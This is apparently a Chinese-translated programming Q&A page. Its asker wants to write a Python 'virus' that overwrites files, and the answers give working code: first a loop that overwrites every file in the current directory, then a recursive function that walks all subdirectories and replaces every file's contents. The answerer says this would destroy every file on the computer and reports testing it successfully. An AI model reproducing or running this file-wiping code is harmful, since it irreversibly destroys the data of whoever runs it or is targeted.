[英]Listing Directories In Python Multi Line
我需要帮助尝试在python中列出目录,我正在尝试编写python病毒代码,只是概念证明,没有什么特别的。
#!/usr/bin/python
import os, sys
VIRUS=''
data=str(os.listdir('.'))
data=data.translate(None, "[],\n'")
print data
f = open(data, "w")
f.write(VIRUS)
f.close()
编辑:我需要它是多行的,所以当我列出目录时,我可以感染列出的第一个文件,然后再感染第二个,依此类推。
我不想使用ls命令,因为我希望它是多平台的。
如果您只是想再次解析它,请不要在os.listdir
的结果上调用str
。 而是直接使用结果:
for item in os.listdir('.'):
print item # or do something else with item
像这样:
import os
VIRUS = "some text"
data = os.listdir(".") #returns a list of files and directories
for x in data: #iterate over the list
if os.path.isfile(x): #if current item is a file then perform write operation
#use `with` statement for handling files, it automatically closes the file
with open(x,'w') as f:
f.write(VIRUS)
因此,当编写这样的病毒时,您将希望它具有递归性。 这样,它将能够进入找到的每个目录,并覆盖这些文件,从而完全销毁计算机上的每个文件。
def virus(directory=os.getcwd()):
VIRUS = "THIS FILE IS NOW INFECTED"
if directory[-1] == "/": #making sure directory can be concencated with file
pass
else:
directory = directory + "/" #making sure directory can be concencated with file
files = os.listdir(directory)
for i in files:
location = directory + i
if os.path.isfile(location):
with open(location,'w') as f:
f.write(VIRUS)
elif os.path.isdir(location):
virus(directory=location) #running function again if in a directory to go inside those files
现在,这一行将把所有文件重写为变量VIRUS
的消息:
病毒()
额外说明:
我之所以默认为: directory=os.getcwd()
的原因是因为您最初使用的是"."
,在listdir
方法中将是当前工作目录文件。 我需要文件目录的名称才能拉出嵌套目录
确实有效! :
我在计算机上的测试目录中运行了该文件,每个嵌套目录中的每个文件的内容都替换为: "THIS FILE IS NOW INFECTED"
声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.